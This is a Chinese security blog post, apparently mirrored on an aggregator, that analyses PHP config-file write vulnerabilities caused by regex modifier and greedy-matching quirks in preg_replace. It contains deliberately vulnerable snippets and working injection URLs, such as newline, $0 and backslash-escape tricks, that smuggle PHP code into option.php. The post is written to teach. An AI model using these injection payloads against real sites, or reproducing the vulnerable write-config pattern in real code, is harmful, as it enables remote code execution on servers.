7

[小密圈]经典写配置漏洞与几种变形学习

 3 years ago
source link: https://www.smi1e.top/%e5%b0%8f%e5%af%86%e5%9c%88%e7%bb%8f%e5%85%b8%e5%86%99%e9%85%8d%e7%bd%ae%e6%bc%8f%e6%b4%9e%e4%b8%8e%e5%87%a0%e7%a7%8d%e5%8f%98%e5%bd%a2%e5%ad%a6%e4%b9%a0/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

今天p牛在小密圈总结了8种配置文件写入问题,在去年的高校运维赛中,我自己也利用其中的一种变种成功的非预期getshell。这种配置文件写入操作多存在于后台,并且也是很常见的,利用方式很有意思,p牛仅写了大体思路,在这里我想仔细分析一下。

正则表达式问题

最早学正则的时候肯定就接触 ^ 和 $ 两个字符了,大部分开发者使用这两个界定符本意是匹配"字符串的开头和结尾",但这两个界定符在正则里原本的意思是"行的开头和结尾",这就出现了一些差异。
正则安全中关于首尾界定符的一些小细节 

/m 修饰符表示多行匹配, multi-line 表示按行来匹配正则,可以理解为,将待匹配的文本用换行符分割后,每一部分都对其进行正则匹配,并将结果用OR运算来计算,得出最终结果。

<?php
if(preg_match('/^a[a-z]+z$/m', $_GET['input'])) {
  echo$_GET['input'];
}

第一行通过匹配即使后面匹配不上也会返回1,因此这里我们可以使用 %0a 换行符绕过。

根据p牛文章中所述,官方文档中 single-line的意思是将待匹配的文本视为一行,换行符不再作为"换行"的标志 是错误的,正确的描述应该是 s并不能指定正则是否是single-line,因为PCRE正则默认情况下就是single-line,而s的意思只是".是否能匹配上换行" 。
因为

<?php
var_dump(preg_match('/^a[a-z]+z$/', "abbz\nccz"));//结果是0。说明这里并不是multi-line
?>
<?php
var_dump(preg_match('/^a.+z$/', "abbz\nccz"));//结果是0。说明.没匹配上\n
?>
<?php
var_dump(preg_match('/^a.+z$/s', "abbz\nccz"));//结果是1,说明.匹配上了\n

因此在没有m和s修饰符的情况下,默认将待匹配的文本视为一行,且 . 不能匹配"换行"。

  • 不加s或m修饰符 -> single line ,但 . 不能匹配换行符
  • 单独加s修饰符 -> single line ,且 . 匹配包括换行符在内的所有字符
  • 单独加m修饰符 -> multi line 
  • 同时加m和s两个修饰符 -> multi line ,且 . 匹配包括换行符在内的所有字符

$匹配换行问题

multi-line 下,因为是多行模式,所以 $ 可以匹配每一行的结尾,且不会匹配换行符。
single-line 下(根据上面可知,包括 /s 和同时没有 /ms ),将整个文本视为一行,所以 $ 匹配的是文本的结尾,且包括结尾的换行符。

<?php
var_dump(preg_match('/^a[a-z]+z$/', "abbbz\n"));//返回1

例如Apache换行解析漏洞:因为 $ 能匹配 \n ,所以上传 shell.php\n 仍然可以让Apache解析PHP文件。

image.png
ps:Orz!p牛tql,也许这才是安研吧。

经典写配置漏洞与几种变形

正则贪婪模式、无s单行模式:

<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API = '.*';/", "\$API = '{$api}';", $file);
file_put_contents('./option.php', $file);

攻击方法:利用换行符绕过正则,第一次写入webshell,第二次使之逃逸。分别发送如下两个请求,即可写入phpinfo。
http://localhost:9090/update.php?api=aaaaa%27;%0aphpinfo();// 

<?php
$API = 'aaaaa\';
phpinfo();//';

http://localhost:9090/update.php?api=aaaaa 

<?php
$API = 'aaaaa';
phpinfo();//';

可以看到由于默认情况下 . 不会匹配换行符,因此我们可以第一次在文件中写入换行符,第二次由于 . 匹配不到换行符,所以会匹配到转义后的 \' ,第二次将 aaaaa\ 替换为正常字符串,从而导致单引号逃逸。

<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API = '.*';/s", "\$API = '{$api}';", $file);
file_put_contents('./option.php', $file);

攻击方法:利用正则替换的方式,第二次用 $0 或 \0 引入单引号,导致第一次传入的 phpinfo 逃逸。
http://localhost:9090/update.php?api=;phpinfo(); 

<?php
$API = ';phpinfo();';

http://localhost:9090/update.php?api=$0 

<?php
$API = '$API = ';phpinfo();';';

/s 模式下, . 会匹配换行符,因此上面的方法无法使用。
这里使用了 $0 ,也就是完整的模式或匹配文本。

image.png
从而把 $API = ';phpinfo();' 引入,闭合掉前后的单引号,导致 phpinfo(); 逃逸,思路好秀。

基础非贪婪和单行非贪婪

<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API = '.*?';/", "\$API = '{$api}';", $file);
file_put_contents('./option.php', $file);
?>

仅匹配到第一个单引号后,因此payload同第一种方式相同,可以使用换行也可以不使用。

<?php
$API = 'aaaaa';phpinfo();//';

单行非贪婪

<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API = '.*?';/s", "\$API = '{$api}';", $file);
file_put_contents('./option.php', $file);

同理,只不过使用了 /s 修饰符,p牛文章中说不能使用换行符,其实还是可以使用换行符的,因为是非贪婪模式,匹配到第一个单引号就停止了。payload同上,可以使用换行也可以不使用。

define基础版

<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*'\);/", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);

同第一种大同小异,只需要多个括号。
http://127.0.0.1:999/file.php?api=aaaaa%27);%0aphpinfo();// 

<?php
define('API', 'aaaaa\');
phpinfo();//');

http://127.0.0.1:999/file.php?api=aaaaa 

<?php
define('API', 'aaaaa');
phpinfo();//');

define单行版

<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*'\);/s", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);

如果用第二种攻击方法,将会导致"插坏"的情况出现,因为引入了无法控制的单引号。

<?php
define('API', 'define('API', ';phpinfo();');');

攻击方法:因为 preg_replace 在替换的时候会吃掉转义符,利用这个特点,即可引入单引号。
http://localhost:9090/update.php?api=aaa\%27);phpinfo();//  
替换前: aaa\\\');phpinfo();// 
替换后: aaa\\');phpinfo();// 

<?php
define('API', 'aaa\\');phpinfo();//');

这个方法可以通杀这篇文章里所有的版本。

define基础版非贪婪模式

<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*?'\);/", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);

同基础,可有换行也可无

define单行非贪婪模式

<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*?'\);/s", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);

http://localhost:9090/update.php?api=aaaa%27);phpinfo();// 
http://localhost:9090/update.php?api=aaaa 

原以为搞懂会很复杂,最后发现跟举一反三差不多。

Referer

正则安全中关于首尾界定符的一些小细节
经典写配置漏洞与几种变形 

image.png

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK